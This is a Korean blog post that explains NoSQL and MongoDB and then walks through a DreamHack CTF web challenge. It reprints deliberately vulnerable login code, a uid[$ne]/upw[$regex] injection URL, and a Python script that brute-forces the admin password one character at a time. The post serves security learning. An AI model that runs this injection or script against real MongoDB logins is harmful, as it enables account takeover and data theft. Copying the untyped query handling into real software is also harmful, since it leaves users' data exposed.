<보안 study>/웹

DreamHack CTF 문제에서 배우는 NOSQL Injection

gosoeungduk 2020. 9. 30. 20:39
반응형

당직근무 마치고 근무취침 잠깐 취하고 나니까 드림핵 ctf 가 시작되어있었다.
대회가 1시간여밖에 안남아서 부랴부랴 한 문제 풀었는데, 나에겐 조금 낯선 NOSQL 에 대해 공부할 수 있었다.

이번 글은 DreamHack CTF 의 Web 분야문제 중, Mango 문제도 살펴보는 겸 Not Only SQL Injection 에 대해 공부하는 글이다.

- NOSQL 이란?

Not Only SQL 이란 뜻으로 단순히 mysql,OracleDB 같은 RDBMS 에서의 SQL 뿐만아니라 다른 형태,형식 등으로 데이터를 조직할 수 있는 DB 언어이다.

RDBMS 가 주로 XML, 스프레드시트같은 테이블 구조의 정형화 된 데이터를 담는다면, NOSQL 은 바이너리파일(미디어파일, 프로그램 등등)이나 텍스트파일 같은 비정형 파일들을 담기위해 이용된다고 한다.

  • 스키마구조 : 어떤형태의 데이터가 해당테이블에 들어가고 대응되는지를 판단하는 필드.

NOSQL 은 스키마구조가 없는 형태로, 하나의 콜렉션(collection) 에 여러 형태의 데이터가 모두 들어갈 수 있다.
또한, RDBMS의 테이블들처럼 관계형 모델 이 따로 있지않아서 콜렉션 간의 join 의 기능 또한 따로 존재하지않는다.

그리고 이 부분은 실무적인 부분이라서 직관적으로 알 수 있는 장점들은 아니지만, 여러대 서버에 구축하는 수고를 들이지않고 단순한 데이터 복제로 하나의 서버에 문제가 생겼어도 다른 곳에서 서비스가 원활히 가능하다고 한다.

위 사진 처럼, 다른 json 형태의 데이터들이 Users 콜렉션 하나에 들어간 것을 볼 수 있다. 이것으로 비정형데이터가 다뤄지는 것을 직관적으로 확인할 수 있다.

위 사진은 관계형 모델이 없기때문에 생기는 NOSQL 의 모습을 보여준다. 앞에서 언급한 장점들과는 다르게 같은 데이터를 중복으로 업데이트 해줘야한다는 단점이 드러난다.

무조건적으로 NOSQL 이 좋다는 말이 아니라는 것이다. 고로, 스키마구조가 명확할 때는 RDBMS 를 쓰고, 아니면 NOSQL을 쓰거나 개발자가 적재적소에 사용을 해야할 것이다.

(CAP 이론이라는 것도 있다는데 이거는 추후에 따로 공부해야함!)
※데이터베이스 CAP 이론


- MongoDB 간략 소개 및 실습

아무튼 이러한 NOSQL 중에서 도큐먼트(Documents) 형태를 갖는 MongoDB 라는게 있다.
용어 정리부터 대강 하면, Collection == MySQL에서 table / Documents == MySQL에서 row(열) 이다.

Key-Value 를 같은 json 형태로 Collection 에 Documents 가 저장된다. 특이하게도 {a:1,b:2} 와 {b:2,a:1} 를 다른 데이터로 판단한다고 한다. 유의하기!

MongoDB 를 처음설치하면 생기는 admin, local, config Database 는 특수한 DB라고 하니 이부분도 유의.

Ubuntu_MongoDB_Install

설치 후, 실행을 해보자.

dbs

처음 들어가면 test 이름의 db를 사용하고있는데, 정작 만들어진 db 목록을 보면 안보인다.
MongoDB의 모든 DB는 콜렉션이 하나라도 저장되어 있어야 db 목록에 추가가 된다고 한다.

dbs2

goseungduk db를 만들어서 test_col 이름의 콜렉션을 만든 모습이다.
콜렉션과 db 모두 잘 등록된 것이 보인다.

insert

test_col 에 사진과 같은 json 데이터를 넣는 모습이다. 완료가 된 데이터에 한해서 nInserted 가 증가한다.

find

MySQL 의 테이블 데이터를 select 문으로 탐색하듯이, MongoDB도 find 문으로 탐색할 수 있다. 조건도 사진에서의 $ne 와 같이 넣어줄 수 있다. 사용할 수 있는 조건은 아래 MongoDB docs 에 정리 되어있다.

조건문표

참고로 이 조건문이라는 것이 잠시 후, NOSQL Injection 에서 톡톡히 효자노릇을 한다. 표는 둘러볼만하다.


- Dreamhack CTF Pre-Season Round #1 : [Web] Mango

intro


문제소개

prob

문제가 지금은 닫혀있어서, 제공해준 .js 파일만 구동한모습이다.

// main.js
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

/login 페이지가 어떻게 되어있는지는 몰라서 / 경로로 바꾸고 일단 인자를 넣어보자.

prob2

위에서 보다시피 get 쿼리에 BAN 배열에 있는 문자열을 넣으면 user 콜렉션에서 find 하는 곳까지 도달하기전에 소스실행이 끝나버린다.

원래 문제에서는 만약 BAN 에 없는 문자열로 쿼리를 보내면, 원활히 user 콜렉션에서 데이터를 검색 후, 맞는 uid 값을 넘겨준다.

이제 공격을 해보자.

main.js 소스에서 보면 uid 와 upw 는 따로 자료형이 고정되어있지 않은 상태이다. 이 점을 십분활용하여, mongoDB 에서는 오브젝트 타입으로 인자를 넘기는 것이 가능하다!

그리고 아까 소개한 mongoDB 조건 인자를 이용하면, 원하는대로 콜렉션 탐색을 할 수 있다.

그리고 이 문제에서 사용할 NOSQLi payload 는 아래와 같다.

http://host4.dreamhack.games:15192/login?uid[$ne]=guest&upw[$regex]=[D]H{~~~~~~

이렇게 되면, uid 와 upw 는 'guest' 혹은 '[D]H' 문자열 데이터 그대로 들어가는 것이 아닌
{$ne':'guest'}{'$regex':'[D]H'} 처럼 object 형태로 들어가게 되어 아래 사진과 같이 user 콜렉션을 탐색하게 될 것이다.

test

보다시피 의도하지않은 데이터가 leak 된다.
이러한 점이 mongoDB 상의 NOSQLi 에 주로 이용되는 형태이다.

플래그를 얻어낸 소스와 결과이다.

import requests
ascii_letters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def url(password):
#    params={'uid[$ne]':'guest','upw[$regex]':'D.*$'}
    params={'uid[$ne]':'guest','upw[$regex]':password}
    r=requests.get('http://host4.dreamhack.games:15192/login',params=params)
    return r
def comp(flag):
    for i in ascii_letters:
        ch=flag+'['+i+']'
        if "admin" in url(ch).text:
            flag+='['+i+']'
            break
    return i
if __name__=='__main__':
    flag='[D]H{'
    for l in range(1,33):
        flag+=comp(flag)
        print(flag+"}")

result


출처

MongoDB(몽고 디비) 특징 공부하기 / 몽고 DB란 무엇인가?

NoSQL이란 무엇인가? 대량데이터 동시처리위한 DBMS 종류와 특징

[Big Data] 정형데이터, 비정형데이터, 반정형데이터

정형데이터 vs 비정형데이터 (RDBMS VS NOSQL)

반응형

'<보안 study> > ' 카테고리의 다른 글

WASM(Web Assembly) 정리  (2) 2021.08.31
CSP(Content-Security-Policy) 정리  (0) 2021.08.23
동적 폼(form) 만들기  (0) 2018.07.24